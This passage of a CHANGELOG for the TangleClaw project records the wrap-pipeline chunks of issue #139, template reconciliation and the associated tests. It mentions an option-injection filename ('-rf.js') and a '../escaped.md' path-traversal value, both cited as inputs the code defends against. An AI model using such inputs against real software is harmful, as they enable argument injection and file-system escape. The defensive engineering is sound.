  - **Stub-conformance test** (`test/wrap-pipeline.test.js`): `critic-check` removed from the Chunk-3 canonical-no-op assertion loop; remaining three stubs (`pr-check`, `version-bump`, `commit`) still pinned. The "runs all stubs end-to-end" runner-skeleton test now monkey-patches `lint`/`test`/`ai-content`/`priming-roll`/`critic-check` to no-ops inside the test body (with `finally`-block restore) so the test continues to validate the runner's iteration + aggregation contract without standing up a real git history.
  - **ADR 0002** updated (Status line + Migration-path Chunk 7 entry) with the full contract — heuristic + thresholds + range resolution + Critic-runs.json schema + blocker:false contract + rationale staging + scope-discipline note.
  - **Tests** (+43): 8 cases for `_detectChunkTag` (neither matches → null; branch matches; commit subject matches when branch doesn't; branch wins over commits when both match; dotted sub-id `10c.2`; separator variants — space/dash/underscore/none; case-insensitive; null/empty inputs), 6 for `_isMediumPlus` (commits boundary 10/10 trips, 9/10 does not; line-changes boundary 500/500 trips, 499/500 does not; chunkTag truthy alone trips; custom thresholds honored), 4 for `_pickRange` (happy `<main>..HEAD`; degraded on branch=main; degraded on detached HEAD; degraded on missing origin symref), 3 for `_selectRecentRuns` (empty/non-array → `[]`; descending-by-timestamp ordering pinned regardless of input order; missing/non-string timestamps sort to bottom), 18 handler-level cases (always ok:true / never blocks — even on missing project.path; baseline warning=false; commit-count trip with staging; line-change trip; chunk-tag-in-branch trip; chunk-tag-in-commit trip; critic-run on current branch suppresses warning; critic-run only on OTHER branches still warns — filter pinned; rationale stages when warning + non-empty string; whitespace-only rationale → null; custom thresholds honored; rangeDegraded on main branch; rangeDegraded on missing symref; `criticRunsRecent` sorts by timestamp descending regardless of file-write order — Critic MINOR pin; thrown git probe → structured skipped — Critic MAJOR-1 pin; commitThreshold:0 falls back to default — Critic MAJOR-2 pin; negative thresholds fall back; non-integer thresholds (3.7 / NaN / "5" / null / undefined / {}) fall back; non-string criticSkipRationale (number / array / object / true / null) staged as null — typeof-guard pin), 4 for `defaultLoadCriticRuns` (missing file → `[]`; malformed JSON → `[]` no throw; non-array → `[]`; filters out entries missing `branchName`). Full suite: 2106 / 2106 pass (was 2063 at end of Chunk 6).

- **Wrap pipeline `priming-roll` step real handler (#139, Chunk 6)** — sixth chunk of the methodology-aware single-button session wrap. Replaces the Chunk 3 no-op stub at `lib/wrap-steps/priming-roll.js` with a real plan-parser + managed-block roller. Pure server-side filesystem reads + a staged (deferred) write — no AI handoff and no tmux interaction. Behavior remains fully gated behind `projConfig.wrapV2: false`, so no existing project sees any wrap-flow change. With Chunk 6 landed, only `pr-check`, `critic-check`, `version-bump`, and `commit` remain as Chunk-3 no-op stubs; the dispatch table for V2 pipelines is now real for 4 of 8 kinds.
  - **`lib/wrap-steps/priming-roll.js`**: parses `<project>/.claude/plans/<plan>.md` for the active chunk pointer and rolls forward a managed block in `<project>/.claude/priming/build-session.md`. **Plan format** matches the convention TangleClaw's own #139 build plan already uses: `### Chunk N: Title` headings, with `✅` anywhere on the heading line marking that chunk done. Chunk ids tolerate dotted / lettered sub-chunk numbering — `1`, `2a`, `10c.2`, `12.3a.4` all parse (regex: `[0-9]+[a-z]?(?:\.[0-9]+[a-z]?)*`). **CRLF tolerance:** the parser splits on `/\r?\n/` and strips any trailing `\r` so Windows-authored / cross-edited plans parse byte-identical to LF-only ones (Critic MAJOR pre-merge fix — repro: a CRLF plan was returning `[]` and bricking the wrap). The "current" chunk is the first un-done heading in document order; the "next" chunk is whatever follows it (or `null` when current is the tail). A `✅` body line does NOT promote a sibling chunk to done — done-state is decided on the heading line only, so embedding ✅ inside a chunk's prose stays safe. **Malformed `### Chunk Foo:` headings** (id slot non-numeric) are skipped from the chunk list but emit a `log.warn` with the line number and a 120-char tail — the user has a recovery path instead of silent confusion (Critic MAJOR pre-merge fix; the parser stays strict, the user just sees what was dropped). **Blocker annotations:** the first `**Blocked on:** <text>` line in a chunk body (case-insensitive) is captured into the rolled pointer so the next session sees the blocker inline rather than discovering it by re-reading the plan; additional `**Blocked on:**` lines in the same chunk are ignored (the first wins). **Plan path resolution:** `step.planPath` (project-relative or absolute) wins when set; otherwise the handler scans `<project>/.claude/plans/*.md` and requires exactly one match — zero or two+ → `{ok:false, status:'blocked'}` with a "set step.planPath to disambiguate" message that names the colliding files. Project-relative `step.planPath` values get a containment check (`path.resolve` + `startsWith(projectRoot + sep)`) so `../escaped.md`-style traversal is refused — defense-in-depth for the Chunk 11 default-flip and any future user-editable methodology authoring (Critic MINOR pre-merge fix). Absolute paths are accepted as-is on the assumption an author writing an absolute path knows what they're pointing at (e.g. a shared corporate plan archive). **Priming-file managed block:** the handler edits a region of `.claude/priming/build-session.md` (overridable via `step.primingPath`) delimited by `<!-- TANGLECLAW:PRIMING-ROLL:BEGIN -->` / `<!-- TANGLECLAW:PRIMING-ROLL:END -->`. The rest of the priming file is sacrosanct — user-authored content surrounding the managed block is preserved byte-for-byte. When the markers don't exist yet, the handler appends a fresh managed block separated by a blank line; when the file itself doesn't exist yet, the handler stages a brand-new file at the priming path. **Out-of-order markers** (END before BEGIN, indicating a corrupted file) are defensively treated as "no managed block" → fresh-append, doubling the markers rather than silently corrupting the file via wrong slice math (regression-pinned with a "user content between misordered markers survives" assertion). **Duplicated managed blocks** (user copy-pasted) edit only the first BEGIN/END pair; the orphan second pair is left as inert content — pinned by test so a future "find all markers" refactor is intentional, not accidental.
  - **Single-transaction discipline (matches Chunk 5 `ai-content`)**: the handler does NOT touch the filesystem itself. It stages `context.staged[step.id] = {primingPath, newContent, changed, pointer, planPath}` for the Chunk 9 `commit` step to flush. A re-run against an unchanged plan + already-rolled priming file produces an unchanged `newContent` and reports `output.changed === false` — the commit step is expected to skip writes when `changed === false`, so idempotent wraps stay no-op (pinned by the "reports changed=false when the rolled content matches existing file exactly" test). The single-transaction inertness pin from Chunk 3 (`runner is transactionally inert — every stub receives an empty staged scratch`) still passes because that test monkey-patches every dispatch entry.
  - **Six pure helpers exported** for testability and Chunk 9 commit-step contract: `_parseChunks(planContent)` (returns `[{id, title, done, blockedOn, lineNo}]` in document order; tolerates the ✅-in-title case by stripping it from the rendered title while still using its presence to mark done; tolerates `### Chunk N (suffix): Title` heading variants like the plan's own "Chunk 12 (optional): …"), `_selectPointer(chunks)` (returns `{current, next, allDone}`; first un-done wins; `next` is `null` when current is the tail; both `null` when allDone), `_renderPointerBody(pointer, planRelPath)` (markdown rendering of the rolled pointer — no nested code fences so it nests safely inside a surrounding markdown body), `_replaceManagedBlock(prior, body)` (replaces in place when markers found; appends fresh block separated by a blank line when not; defensively appends on out-of-order markers), `_resolvePlanPath(projectPath, step)` (the disambiguation logic described above), `_resolvePrimingPath(projectPath, step)` (absolute-path resolver). Marker constants and default paths also exported: `BEGIN_MARKER`, `END_MARKER`, `DEFAULT_PRIMING_PATH`, `DEFAULT_PLANS_DIR`.
  - **`_internal`** holds `readFileSync`, `existsSync`, `readdirSync` so tests can stub disk failures (matches the `_internal.execShell` / `_internal.sendKeys` pattern from Chunks 4 and 5). The handler intentionally does NOT expose `writeFileSync` — there's no write path to mock because there's no write path at all (the commit step in Chunk 9 owns that).
  - **Stub-conformance test** (`test/wrap-pipeline.test.js`): `priming-roll` removed from the Chunk-3 canonical-no-op assertion loop; remaining four stubs (`pr-check`, `critic-check`, `version-bump`, `commit`) still pinned. The "runs all stubs end-to-end" runner-skeleton test now monkey-patches `lint`/`test`/`ai-content`/`priming-roll` to no-ops inside the test body (with `finally`-block restore) so the test continues to validate the runner's iteration + aggregation contract without standing up a real plans dir.
  - **ADR 0002** updated (Status line + Migration-path section) with the Chunk 6 entry pinning the plan-format, managed-block-delimiter, and staged-write contracts so downstream chunks (Chunk 9 commit step, Chunk 10 progress drawer) can rely on them.
  - **Known follow-up (multi-plan disambiguation):** TangleClaw's own `.claude/plans/` already holds 10 plans; the prawduct bundled template's `next-session-prime` step ships without a `planPath` override. A wrap on TC-v3 itself with `wrapV2: true` would block with the disambiguation message until `step.planPath` is set per-project. This is gated entirely behind the Chunk-3 opt-in flag (default `false`), so no existing wrap is affected — but Chunk 11 will need a smarter default-resolution strategy (most-recently-modified plan, an active-plan symlink convention, or a project-level "current plan" pointer) before the default flip lands. Captured here so it doesn't get lost.
  - **Tests** (+42): 11 cases for `_parseChunks` (basic id+title; ✅-anywhere done detection with ✅-in-title strip; body ✅ does NOT promote; dotted/lettered sub-chunk ids `1`, `10c.2`, `12.3a.4`; **Blocked on:** capture; first-wins on multiple **Blocked on:** lines; case-insensitive match; empty/null input → `[]`; `(suffix):` heading tolerance; CRLF parses byte-equivalent to LF — Critic MAJOR-1 regression pin; malformed `### Chunk Foo:` heading skipped while well-formed siblings still parse — Critic MAJOR-2 regression pin), 4 for `_selectPointer` (first-undone wins; tail current → next=null; all-done; empty input), 5 for `_replaceManagedBlock` (in-place replace preserves surround; append-with-separator when no markers; no separator when prior empty; defensive double-append on out-of-order markers AND user content between misordered markers survives — Critic MINOR pin; duplicated managed blocks edit only the first pair — pin for refactor intentionality), 4 for `_renderPointerBody` (active + on-deck; blockedOn surfaces on active; allDone explicit; "no headings" fallback), 17 handler-level cases (missing project.path → blocked; no plans dir → blocked; empty plans dir → blocked; multiple plans → blocked with disambiguation; `step.planPath` honored; `step.planPath` missing file → blocked; project-relative `step.planPath` escaping project root → blocked — Critic MINOR path-traversal defense pin; absolute `step.planPath` outside project root is accepted — pinning the "absolute is trusted" branch; no chunk headings in plan → blocked; fresh priming file → managed block created in stage with `changed=true` AND no real disk write — single-transaction pin; existing managed block replaced while user surround preserved byte-for-byte; idempotent re-roll → `changed=false`; allDone reflected in pointer + rendered body; **Blocked on:** carries into rolled pointer; `step.primingPath` honored; plan-read throw → blocked; priming-read throw with successful plan-read → blocked). Full suite: 2063 / 2063 pass (was 2021 at end of Chunk 5).

- **Wrap pipeline `ai-content` step real handler (#139, Chunk 5)** — fourth implementation chunk. Replaces the Chunk 3 no-op stub at `lib/wrap-steps/ai-content.js` with a real send-prompt → poll-idle → capture-pane → validate-fields handler. The same handler powers both prawduct's `memory-update` step (AI writes the session block to `.tangleclaw/memories/MEMORY.md` via its own file tools — TangleClaw owns the *prompt*, not the write) and `summary-derive` (AI emits `## Heading` blocks that the handler parses against `step.captureFields`). One substitution token is supported in this chunk: `{previousMemoryBlock}` interpolates the captured text of the prior step whose `stepId === 'memory-update'`, enabling `summary-derive` to deterministically reference the memory block the AI just produced (instead of trusting the AI to re-read its own scrollback). Behavior remains fully gated behind `projConfig.wrapV2: false`, so no existing project sees any wrap-flow change.
  - **`lib/wrap-steps/ai-content.js`**: defensive blocks on missing `context.session.tmuxSession` or empty `step.prompt`. Sends the interpolated prompt via `_internal.sendKeys(tmuxSession, prompt, {enter:true})`. Sleeps an initial settle window (`INITIAL_SETTLE_MS = 3000`), then polls `_internal.detectIdle(tmuxSession)` every `POLL_INTERVAL_MS = 2000` until idle is reported (`detectIdle` defines idle as ≥10s of unchanged pane output — pinned in `lib/sessions.js`). Total wait capped by `MAX_WAIT_MS = 5 min`; exceeded → `{ok:false, status:'blocked', blockers:['AI did not return within Xs']}`. On idle, captures full pane scrollback via `_internal.capturePane(tmuxSession, {full:true})` and validates. If `step.captureFields[]` is set, each field must appear as a `## Heading` (case-insensitive) with non-empty content; otherwise the handler asserts only that the AI returned ≥`MIN_RESPONSE_CHARS = 20` chars (catches no-ops and rare premature-idle captures). Successful captures are staged in `context.staged[step.id] = {capturedText, parsedFields}` for the eventual `commit` step (Chunk 9) to consume. Failures of `sendKeys` / `detectIdle` / `capturePane` are caught and surfaced as blocker entries rather than thrown — the runner already converts thrown handlers to blocked results, but explicit handling produces sharper error messages.
  - **`lib/sessions.js` import: lazy via `require('../sessions')` inside `defaultDetectIdle`** to break the module-load cycle `sessions.js → wrap-pipeline.js → wrap-steps/ai-content.js → sessions.js`. At call time the cycle is fully resolved, so `sessions.detectIdle` is always defined. `lib/tmux.js` has no back-edge to sessions and is eager-required as before.
  - **Two pure helpers exported** for testability: `_interpolatePrompt(promptTemplate, previousResults)` (single-token substitution; unrecognized braces pass through; null prompt → empty string; non-`status:'done'` prior memory steps are ignored — symmetric with the runner's halt-aware aggregation) and `_parseFields(rawOutput, captureFields)` (returns the `{field: content}` map; mirrors `lib/sessions.js:parseWrapSummary`'s parsing but without the flattened-string return shape, so the handler can validate field-by-field for missing-or-empty cases).
  - **Stub-conformance test** (`test/wrap-pipeline.test.js`): `ai-content` removed from the Chunk-3 canonical-no-op assertion loop; remaining five stubs (`pr-check`, `critic-check`, `priming-roll`, `version-bump`, `commit`) still pinned. The "runs all stubs end-to-end" runner-skeleton test now monkey-patches `lint`/`test`/`ai-content` to no-ops inside the test body (with `finally`-block restore) so the test continues to validate the runner's iteration + aggregation contract without re-implementing tmux state in the harness.
  - **Tests** (+20): 5 cases for `_interpolatePrompt` (token substitution; missing prior step → empty; unrecognized braces pass through; null prompt; non-`done` prior step ignored), 5 for `_parseFields` (case-insensitive matching; absent captureFields; empty rawOutput; non-matching headings skipped; multi-field parse), 10 for the handler (missing session blocks, missing prompt blocks, happy path no-captureFields, short-response no-captureFields blocks, captureFields-all-present succeeds with staged output, missing-or-empty captureFields surfaces per-field blockers, `{previousMemoryBlock}` interpolation snapshot, idle timeout via `Date.now` monkey-patch, `sendKeys` throws → blocker, `detectIdle` throws → blocker, `capturePane` throws → blocker). Full suite: 2021 / 2021 pass.

- **Wrap pipeline `lint` + `test` step real handlers (#139, Chunk 4)** — third implementation chunk. Replaces the Chunk 3 no-op stubs at `lib/wrap-steps/test.js` and `lib/wrap-steps/lint.js` with real server-side handlers that shell out to the project's configured commands and surface exit-code + tailed stderr/stdout. `lib/wrap-pipeline.js` extends to (a) thread caller-supplied `options` into each step's `context` so handlers can read overrides like `skipTests`, and (b) honor `blocker: "errors-only"` as a halt condition (was `"errors-only resolved inside the handler"` in Chunk 3 — collapsed the contradiction with the build plan's "blocks on lint errors but not warnings" wording). Default opt-in remains `projConfig.wrapV2: false`, so this chunk produces zero behavior change on any existing project — only sessions explicitly opting in see the real handlers fire.
  - **`lib/wrap-steps/test.js`**: reads `projConfig.testCommand`; `null` → `{status:'skipped', output:{reason:'no testCommand configured'}}`. With `step.allowOverride === true` AND `options.skipTests === true` → `{status:'skipped', output:{override:true,reason:…}}` and the command never runs (Chunk 9's `commit` step will record the override in the wrap commit body). Otherwise shells out via the internal `_internal.execShell` (10-min timeout, 10 MiB buffer cap); exit 0 → `{ok:true, status:'done', output:{exitCode:0}}`; exit ≠ 0 → `{ok:false, status:'blocked', blockers:['Tests failed (exit N)', last-50-lines of stderr-or-stdout]}`. Timeouts surface as exit code 124. The `_internal` object is exported so tests can override `execShell` without spawning real processes (matches the Chunk 3 `STEP_DISPATCH` monkey-patch idiom).
  - **`lib/wrap-steps/lint.js`**: reads `projConfig.lintCommand`; `null` → skipped. Computes "in-session" file set via `_internal.detectChangedFiles(cwd)` (parses `git status --porcelain` — staged + unstaged + untracked-but-tracked, deletes excluded, rename arrows resolved to destination, porcelain-quoted paths unquoted). Empty file set → skipped with `output.reason: 'no in-session changes to lint'`. Otherwise builds `<lintCommand> -- <quoted-files…>` — the `--` POSIX end-of-options separator prevents a git-legal filename starting with `-` (e.g. `-rf.js`) from being interpreted as a flag by the lint binary (Critic-MINOR-1); each file is then single-quote-escaped via the standard `'\''` close-reopen idiom (exposed as `_shellQuote`, unit-pinned against filenames with spaces and embedded single quotes) and the whole string is handed to `exec`. Blocker semantics: `blocker:"errors-only"` (or `true`) + exit ≠ 0 → `{ok:false, status:'blocked'}`; `blocker:false` + exit ≠ 0 → `{ok:true, status:'done', output.warnings: tail}` (informational only — pipeline continues). Chunk 9 will widen the in-session scope to "since last wrap commit" once the `commit` step starts stamping `lastWrapSha` on project records.
  - **`lib/wrap-pipeline.js:_buildStepContext`** now accepts and forwards `options` from `runWrapPipeline(name, options)` into the step context's new `context.options` field. Defaults to `{}` (handlers can read `context.options.skipTests` etc without guarding against undefined). Block-condition broadened from `step.blocker === true` to `step.blocker === true || step.blocker === "errors-only"` — the runner now halts on either form when the handler returns `!ok`. JSDoc updated to document the broader contract; the previous "enum-style blockers resolved inside the handler" wording was load-bearing in Chunk 3's no-op world but contradicted #139's pipeline-blocking requirement once real handlers landed. **ADR 0002** updated in this PR (Status line, Runner contract section, Migration-path Chunk 4 entry) to reflect the broadened halt condition (Critic-MAJOR-1).
  - **Stub-conformance test** (`test/wrap-pipeline.test.js`): `lint` and `test` removed from the Chunk-3 canonical-no-op assertion loop; remaining six stubs (`pr-check`, `critic-check`, `ai-content`, `priming-roll`, `version-bump`, `commit`) still pinned to the canonical shape so a half-inlined implementation on any of them fails this test.
  - **Tests** (+18): six per-handler `test` cases (no command → skipped; passing → done with exitCode 0; failing → blocked with stderr tail; allowOverride+skipTests → skipped with override flag; skipTests without allowOverride → still runs; shell command observed exactly), seven `lint` cases (no command → skipped; no in-session files → skipped; `errors-only` + exit 1 → blocked with file count and shell-quoting verified; `errors-only` + exit 0 → done with warnings surfaced; `blocker:false` + exit 1 → informational ok:true; `_shellQuote` unit test against `simple.js` / `with space.js` / `it's.js`; real-git integration against a throwaway repo that exercises the actual `git status --porcelain` parser end-to-end). Two runner-level `"errors-only"` block-condition tests (halts on `!ok`; ignores unrecognized enum values). Two `options`-threading tests (forwards through `context.options`; defaults to `{}` when caller omits options). Full suite: 2001 tests pass.

- **Wrap pipeline runner skeleton + `projConfig.wrapV2` opt-in (#139, Chunk 3)** — second implementation chunk. Ships the server-side pipeline runner (`lib/wrap-pipeline.js:runWrapPipeline`), the eight per-kind step modules under `lib/wrap-steps/`, and the opt-in flag that routes `lib/sessions.js:triggerWrap` to the new path when `projConfig.wrapV2 === true`. Default is `false` through Chunk 10 — every existing wrap continues on the legacy NL-prompt path byte-equal to pre-#139 behavior (regression-pinned in `test/sessions.test.js`). Chunk 11 will flip the default.
  - **`lib/wrap-pipeline.js`** (NEW, ~190 lines): the runner. Reads `wrap_pipeline.steps[]` from the methodology template, dispatches each step by `kind` to a handler module via `STEP_DISPATCH`, threads a single-transaction `runState` (`results` + `staged` scratch space — only the `commit` step in Chunk 9 will flush `staged` to git), and returns `{ok, blockedAt, results:[{stepId, kind, status, output, blockers}], commitSha:null, summary:null, error:null}`. Block-true semantics: a step declared `blocker: true` whose handler returns `!ok` halts the pipeline immediately, and every subsequent step is reported as `'pending'` so the Chunk 10 UI can render where the pipeline froze. Enum-style blockers (e.g. `"errors-only"`) stay inside handlers — the runner only knows boolean. Unknown step kinds skip (forward-compat with future bundled changes); thrown handler errors are caught and surfaced as `blockers[]` entries on a synthesized `'blocked'` result.
  - **`lib/wrap-steps/`** (NEW subdir): eight files — `pr-check.js`, `lint.js`, `test.js`, `critic-check.js`, `ai-content.js`, `priming-roll.js`, `version-bump.js`, `commit.js`. Each exports `async function run(context)` returning the canonical no-op `{ok:true, status:'done', output:null, blockers:[]}` and JSDoc'd with the future-chunk contract. Real implementations land in Chunks 4–9.
  - **`lib/store.js:DEFAULT_PROJECT_CONFIG`**: three new fields — `wrapV2: false` (the opt-in flag), `testCommand: null`, `lintCommand: null` (explicit declarations the `test` and `lint` step kinds will shell out to in Chunk 4; auto-detection is rejected as a monorepo-class footgun).
  - **`lib/sessions.js:triggerWrap`**: now `async`. Reads `projConfig.wrapV2` from `store.projectConfig.load(project.path)`; on `true` delegates to the new `_triggerWrapV2` helper (invokes the runner, returns the canonical wrap shape + a `pipelineResult` field carrying the runner's structured output, does NOT send any tmux command since the runner is server-side). On `false` (default) the legacy NL-prompt path runs unchanged. All callers updated to `await`: `server.js:POST /api/sessions/:project/wrap` and existing `test/sessions.test.js` cases.
  - **ADR 0002** updated with a Chunk 3 status line noting the runner skeleton landed behind the flag.
  - **Tests** (+22): `test/wrap-pipeline.test.js` (NEW) — dispatch-table covers every contract kind; dispatch covers every kind referenced by bundled prawduct + minimal templates; runner runs all stubs end-to-end and returns ok:true; preserves step ID order; attaches `kind` to each result; preflight errors (unknown project, missing `wrap_pipeline`); block-true halts and marks subsequent steps `pending`; blocker:false `!ok` does NOT halt; thrown handler error surfaces as blocker; unknown-kind skips without dispatch; each of the eight step stubs pinned to the canonical no-op shape. `test/sessions.test.js` — V2-opt-in test (no tmux command sent, pipelineResult attached) + V2:false byte-equal regression pin against the Chunk 2 NL prompt.

- **Wrap pipeline schema migration + back-compat shim (#139, Chunk 2)** — first implementation chunk of the methodology-aware single-button session wrap. Replaces the legacy `wrap: {command, steps, captureFields}` block in bundled methodology templates with a typed `wrap_pipeline: {schemaVersion, promptTemplates, steps[]}` schema. Each step is an `{id, kind, ...}` object that the runner (Chunk 3+) will dispatch via a typed dispatch table — kinds enumerated in ADR 0002. Bundled methodology templates migrated: `prawduct` (6 steps) and `minimal` (3 steps); the gitignored `tilt` template migrates symmetrically when present locally. No runtime behavior change in this chunk: `lib/sessions.js:triggerWrap` continues to fabricate the legacy NL prompt byte-equal to pre-migration via a back-compat shim.
  - **`lib/skills.js`**: new exported helper `wrapShapeFromTemplate(template)` synthesizes the legacy `{command, steps, captureFields}` shape from either schema. When `wrap_pipeline` is present, `steps` is the ordered list of `pipeline.steps[].id`, `captureFields` is the flattened deduplicated union of every step's `captureFields[]`, and `command` is `null` (custom overrides will move to `promptTemplates.<engine>` once the runner honors them in later chunks). Falls back to the legacy `wrap` block verbatim for installs that haven't yet picked up the new bundled schema. `getWrapSkill` is a thin wrapper over `wrapShapeFromTemplate(store.templates.get(id))` — the helper is the single read-point so callers can't drift into asymmetric reads of the two schemas (ADR 0001).
  - **`lib/eval-audit.js:scoreWrapQuality`** routes through the new shim instead of reading `methodology.wrap.steps` directly. Both `triggerWrap` and `scoreWrapQuality` now answer "what are the wrap steps?" through the same predicate — symmetric capability gates per ADR 0001.
  - **`lib/store.js:ARRAY_RECONCILERS`** gains `wrap_pipeline.steps` with `mergeBy:id` policy (the #155 Chunk 2 reconciler) so new bundled steps with a new `id` value propagate additively to live runtime templates on init. Legacy `wrap.steps` and `wrap.captureFields` entries remain in the table as inert safety nets during the migration window — bundled templates no longer ship those paths, so the policy short-circuits on missing bundled arrays, leaving any legacy `wrap` blocks on live templates untouched.
  - **ADR 0002 — Wrap Pipeline Contract** (`docs/adr/0002-wrap-pipeline-contract.md`) documents the schema, the step-kind dispatch table, the runner contract (`runWrapPipeline` signature, step return shape, single-transaction semantics), the back-compat shim semantics, the reconciler choice, and the phased Chunks 3 → 11 rollout via `projConfig.wrapV2`. ADR 0001 updated to cross-link to ADR 0002 as an instance of the "one read predicate per conceptual state" rule.
  - **Tests**: +6 in `test/skills.test.js` (byte-equal legacy shape for all three migrated templates pinning behavior preservation; `wrap_pipeline` → legacy synthesis with captureFields union; legacy fallback; `wrap_pipeline` preferred when both present; null/empty input handling; defensive skip of malformed entries), +5 in `test/store.test.js` (`wrap_pipeline.steps` mergeBy:id append; user-added step preserved; field-overwrite forbidden on matched entries; user-removed re-add limitation pin per ADR 0001; inert-legacy-reconciler safety-net behavior when bundled drops the `wrap` block), +1 in `test/eval-audit.test.js` (`scoreWrapQuality` works against a `wrap_pipeline`-shaped methodology object — proves the shim routing). The #136 init-glue integration test in `test/store.test.js` updated for the new world: legacy `wrap` block on live is preserved untouched while `wrap_pipeline` is propagated from bundled.
  - **Scope discipline**: this chunk lands schema + shim + reconciler + ADR only. No runner, no step kinds, no UI, no `wrapV2` opt-in flag — those are Chunks 3–11. The legacy NL-prompt code in `triggerWrap` is unchanged; `triggerWrap` continues to fabricate the exact same prompt it did before this PR via the shim. Out-of-scope items pinned in ADR 0002: auto-Critic-dispatch, tombstone-based step removal, branch-protection push flow, methodology authoring UX, per-step retry. The self-deleting bridging auto-memory `project-issue-139-methodology-wrap.md` continues to point at the build plan; deletion is gated on #139 closing.

- **Template-array reconciliation extends to object-keyed arrays (#155, Chunk 2)** — `lib/store.js:ARRAY_RECONCILERS` policy table grows to nine paths total. Chunk 2 adds the `_reconcileMergeBy(live, bundled, idKey)` policy and wires five previously-drifting object-keyed arrays through it: `phases` (idKey=`id`), `evalDimensions.tier1`, `evalDimensions.tier2`, `evalDimensions.tier3` (idKey=`id`), and `actions` (idKey=`label` — prawduct's `actions` entries don't have an `id` field, the `label` field is the natural identifier). The policy matches by string equality on `entry[idKey]` and appends bundled entries whose key value is absent from live; matched entries are left untouched (additive only, never overwrites). Appended entries are deep-cloned so in-process reuse of the same bundled object across multiple live targets cannot leak mutations.
  - **ADR 0001 extended**: new section "Generalized template-array reconciliation (#155 extension)" documents the full pattern (table + policies + driver), the three policies' behavior at-a-glance, and the user-removed-entry acknowledged limitation that's symmetric across `orderedSubsetReplace` and `mergeBy`. A new rule in the ADR captures the operational follow-through: when adding a new array to any bundled template, add a one-line `ARRAY_RECONCILERS` entry in the same PR — the cost of forgetting it is exactly the incident-then-patch cycle #119, #136, and #158 each paid.
  - **Driver change**: the inner loop in `_mergeBundledTemplate` now passes `entry.idKey` to the reconciler, allowing each path to declare its own identifier field. Log payload simplified from per-entry `added` list (only meaningful for primitive arrays) to `addedCount` (works uniformly across string and object arrays).
  - **Acknowledged limitation (re-add on user-removed entry)**: symmetric with `_reconcileOrderedSubset`. `_reconcileMergeBy` cannot distinguish "user removed entry X" from "user is on an older bundled version that never had entry X" — both produce a live whose id-set is a subset of bundled's. The policy choice is to re-add, documented in the reconciler's JSDoc and pinned by a regression test (`treats user-removed object-keyed entry as stale and re-adds it`). Tombstones would solve it but are out of scope for #155.
  - **Tests**: +22 in `test/store.test.js` — 13 unit tests on `_reconcileMergeBy` (additive append; live order preserved; null when in sync; user-added preserved; field-overwrite forbidden on matched entries; deep-clones appended entries; empty live → bundled copy; empty bundled → null; non-array inputs → null; missing/empty idKey → null; non-`id` key names supported via `'label'`; bundled entries without idKey skipped; bundled internal duplicates protected) + 9 integration tests on `_mergeBundledTemplate` (phases append by id; phases user-added preserved; phases field-overwrite forbidden; evalDimensions.tier1 append by id; actions append by label; deep-clone integration; multi-path single-pass spanning string and object arrays; no-op mtime pin; user-removed re-add limitation pin). The Chunk 1 phases-untouched pin is replaced with a generalized "unregistered path stays alone" pin (`customCategory.items` — outside the table, must not be reconciled). All 1927 prior tests continue to pass — 1949 total.

- **Template-array reconciliation generalized beyond `wrap.steps` (#155, Chunk 1)** — `lib/store.js:_mergeBundledTemplate` now drives plain-array reconciliation through a declarative policy table (`ARRAY_RECONCILERS`) instead of hardcoding `wrap.steps`. Three previously-drifting paths join the table in this chunk: `prime.sections` (orderedSubsetReplace, same policy as wrap.steps), `wrap.captureFields` (setUnion, additive set merge), and `init.directories` (setUnion). Adding a newly-tracked array path is now a one-line registry entry — no driver change. The original wrap.steps inline code from #136 migrates into the same table-driven loop; all existing wrap.steps tests pass unchanged, proving the refactor is behavior-preserving.
  - **New pure functions**: `_reconcileOrderedSubset(live, bundled)` (extracted from the original #136 inline logic) and `_reconcileSetUnion(live, bundled)` (new). Both return a new array OR `null` meaning "leave alone" — uniform shape lets the driver dispatch identically across every policy. `_getAtPath(obj, dotPath)` resolves nested array references for both bundled and live sides.
  - **Policy choices**: `setUnion` preserves `live`'s element order at the front and appends bundled-only entries at the end in bundled-iteration order. `orderedSubsetReplace` carries forward the #136 acknowledged limitation verbatim — a user-removed entry that leaves the array as a strict subset of bundled is indistinguishable from "user is on an older version missing that entry", and is treated as stale-older (re-added). This policy now applies uniformly to `wrap.steps` AND `prime.sections`; if either ever needs different semantics, the table makes the wiring split explicit.
  - **Scope discipline**: `hooks.<engine>.<event>[]` continues to flow through `_mergeBundledHookEntries` (#158) — match-by-matcher semantics don't fit the plain-array driver and the existing hook-entry path is unchanged. Object-id-keyed arrays (`phases`, `evalDimensions.tier1/tier2/tier3`, `actions`) are explicitly NOT in the table — they're deferred to Chunk 2 along with `_reconcileMergeById` and the ADR 0001 update documenting the full generalized pattern. A pinning test asserts the Chunk 1 driver leaves `phases` alone even when drifted, locking the scope boundary against future drift.
  - **Tests**: 22 new in `test/store.test.js` — 6 for `_reconcileOrderedSubset` (subset → returns bundled copy; identical → null; user-customized → null; reordered → null; non-array inputs → null; result is not the bundled reference), 8 for `_reconcileSetUnion` (appends bundled-only entries in order; preserves live order at front; null when live is superset; preserves user-added entries; empty live returns bundled copy; empty bundled returns null; non-array inputs → null; no duplication when bundled has repeats live already covers), 8 integration in the existing `_mergeBundledTemplate (#136)` block (prime.sections subset reconcile; prime.sections user customization preserved; wrap.captureFields additive merge; wrap.captureFields user-added preserved with bundled appended; init.directories additive merge; no-op when every array is in sync — pinned via mtime; multi-array reconcile in single pass; pinning test that `phases` stays untouched in Chunk 1). All 1927 prior tests still pass (was 1905 pre-chunk).

- **CHANGELOG.md structural-invariants test (#168)** — `test/changelog-structure.test.js` asserts four structural invariants on `CHANGELOG.md`: every release banner (`> 🛟` / `> 🚀`) is inside a `## [X.Y.Z] - YYYY-MM-DD` section (catches the PR #166-class regression where a heading was silently consumed); released-version headings appear in descending semver order (catches cherry-pick / backport misorderings); no released-version heading appears twice (catches bad merge resolutions); the top released-version heading agrees with `version.json` (the load-bearing invariant — would have caught PR #166 directly, where the cache self-heal then propagated `3.16.0` to dashboards on every install). Invariant detectors are factored as pure functions so a second describe block exercises them against a synthesized post-#166 / pre-#167 file shape, proving the regression is detected. ~180 lines, 9 tests, runs in < 40ms inside the standard `node --test 'test/*.test.js'` sweep — no new tooling. Structural-only; lints body content of release entries is intentionally out of scope (style / completeness remains Critic territory).

## [3.16.2] - 2026-05-13

